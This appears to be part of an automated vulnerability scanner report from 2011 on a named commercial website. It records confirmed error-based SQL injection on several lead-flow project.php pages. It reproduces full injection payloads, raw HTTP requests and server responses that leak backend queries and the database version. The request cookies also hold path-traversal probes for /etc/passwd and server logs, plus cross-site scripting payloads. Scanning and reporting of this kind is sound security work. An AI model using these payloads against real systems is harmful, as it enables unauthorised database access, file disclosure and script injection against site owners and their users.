select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/phsy00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/phsy00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/'Duplicate entry '_!@4dilemma:0' for key 1

- /ppc/leadflow/meac00/project.php

/ppc/leadflow/meac00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/meac00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select..

Parameters

Parameter	Type	Value
catId	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'
iusrc	GET	iupsc

Extracted Data

5.0.45

Request

GET /ppc/leadflow/meac00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:24:35 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=3522e2gn69248r9u9l46vra1i5; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/meac00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/meac00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/meac00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/meac00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/meac00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/meac00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/'Duplicate entry '_!@4dilemma:0' for key 1

- /ppc/leadflow/inco00/project.php

/ppc/leadflow/inco00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/inco00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select..

Parameters

Parameter	Type	Value
catId	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'
iusrc	GET	iupsc

Extracted Data

5.0.45

Request

GET /ppc/leadflow/inco00/project.php?catId='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:24:46 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=5t438bp1gms1s6nmbhomprbig0; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/inco00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/inco00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/inco00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/inco00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 